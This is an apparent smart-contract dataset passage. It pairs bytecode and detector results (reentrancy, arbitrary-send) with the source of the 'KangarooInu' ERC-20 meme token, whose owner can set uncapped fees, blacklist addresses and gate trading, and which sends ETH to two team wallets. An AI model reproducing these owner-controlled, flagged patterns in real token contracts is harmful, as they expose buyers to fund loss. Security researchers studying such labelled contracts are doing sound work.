00fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960018461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660098461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122088be54e3330aebc3f57d23863b10bf9a1d1cc22724400fe5a8aaafd2271d192664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,755 |
0xe1b0cb93aE4167C704Ad494366914a9fCcD8BaE4
|
/**
* Yo Kangaroo inu here how are you?
*
* We are excited to start!
* We're going Kangaroo it's a useful meme coin that is making its slow way to the moon!
*
*
* website: http://kangaroo-inu.com/
* telegram: https://t.me/Kangarooinu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KangarooInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KangarooInu";
string private constant _symbol = "Kangaroo ";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 6;
//Sell Fee
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xf6B5F63F445FBd1fb9673525D8b0f3cfC11bE594);
address payable private _marketingAddress = payable(0x60A5773a7c1a1330E6b1e30EeA107E7219931294 );
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 150000000000000 * 10**9; //1,5%
uint256 public _maxWalletSize = 300000000000000 * 10**9; //3%
uint256 public _swapTokensAtAmount = 10000000000000 * 10**9; //0.01%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101e2576000357c010000000000000000000000000000000000000000000000000000000090048063715018a61161011457806398a5c315116100b2578063bfd7928411610081578063bfd7928414610643578063c3c8cd8014610680578063dd62ed3e14610697578063ea1644d5146106d4576101e9565b806398a5c31514610577578063a2a957bb146105a0578063a9059cbb146105c9578063bdd795ef14610606576101e9565b80638da5cb5b116100ee5780638da5cb5b146104cd5780638f70ccf7146104f85780638f9a55c01461052157806395d89b411461054c576101e9565b8063715018a61461046257806374010ece146104795780637d1db4a5146104a2576101e9565b80632fd689e3116101815780636b9990531161015b5780636b999053146103bc5780636d8aa8f8146103e55780636fc3eaec1461040e57806370a0823114610425576101e9565b80632fd689e31461033b578063313ce5671461036657806349bd5a5e14610391576101e9565b80631694505e116101bd5780631694505e1461027f57806318160ddd146102aa57806323b872dd146102d55780632f9c456914610312576101e9565b8062b8cf2a146101ee57806306fdde0314610217578063095ea7b314610242576101e9565b366101e957005b600080fd5b3480156101fa57600080fd5b5061021560048036038101906102109190612d74565b6106fd565b005b34801561022357600080fd5b5061022c61084d565b60405161023991906131bd565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190612d38565b61088a565b6040516102769190613187565b60405180910390f35b34801561028b57600080fd5b506102946108a8565b6040516102a191906131a2565b60405180910390f35b3480156102b657600080fd5b506102bf6108ce565b6040516102cc919061339f565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f79190612cad565b6108e1565b6040516103099190613187565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612cfc565b6109ba565b005b34801561034757600080fd5b50610350610b3d565b60405161035d919061339f565b60405180910390f35b34801561037257600080fd5b5061037b610b43565b6040516103889190613414565b60405180910390f35b34801561039d57600080fd5b506103a6610b4c565b6040516103b3919061316c565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190612c1f565b610b72565b005b3480156103f157600080fd5b5061040c60048036038101906104079190612db5565b610c62565b005b34801561041a57600080fd5b50610423610d13565b005b34801561043157600080fd5b5061044c60048036038101906104479190612c1f565b610dfb565b604051610459919061339f565b60405180910390f35b34801561046e57600080fd5b50610477610e4c565b005b34801561048557600080fd5b506104a0600480360381019061049b9190612dde565b610f9f565b005b3480156104ae57600080fd5b506104b761103e565b6040516104c4919061339f565b60405180910390f35b3480156104d957600080fd5b506104e2611044565b6040516104ef919061316c565b60405180910390f35b34801561050457600080fd5b5061051f600480360381019061051a9190612db5565b61106d565b005b34801561052d57600080fd5b5061053661111f565b604051610543919061339f565b60405180910390f35b34801561055857600080fd5b50610561611125565b60405161056e91906131bd565b60405180910390f35b34801561058357600080fd5b5061059e60048036038101906105999190612dde565b611162565b005b3480156105ac57600080fd5b506105c760048036038101906105c29190612e07565b611201565b005b3480156105d557600080fd5b506105f060048036038101906105eb9190612d38565b6112b8565b6040516105fd9190613187565b60405180910390f35b34801561061257600080fd5b5061062d60048036038101906106289190612c1f565b6112d6565b60405161063a9190613187565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190612c1f565b6112f6565b6040516106779190613187565b60405180910390f35b34801561068c57600080fd5b50610695611316565b005b3480156106a357600080fd5b506106be60048036038101906106b99190612c71565b6113ef565b6040516106cb919061339f565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f69190612dde565b611476565b005b610705611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610792576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610789906132ff565b60405180910390fd5b60005b8151811015610849576001601060008484815181106107dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610841906136d9565b915050610795565b5050565b60606040518060400160405280600b81526020017f4b616e6761726f6f496e75000000000000000000000000000000000000000000815250905090565b600061089e610897611515565b848461151d565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006a084595161401484a000000905090565b60006108ee8484846116e8565b6109af846108fa611515565b6109aa85604051806060016040528060288152602001613bc060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610960611515565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f069092919063ffffffff16565b61151d565b600190509392505050565b6109c2611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132ff565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ae2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad9906132bf565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff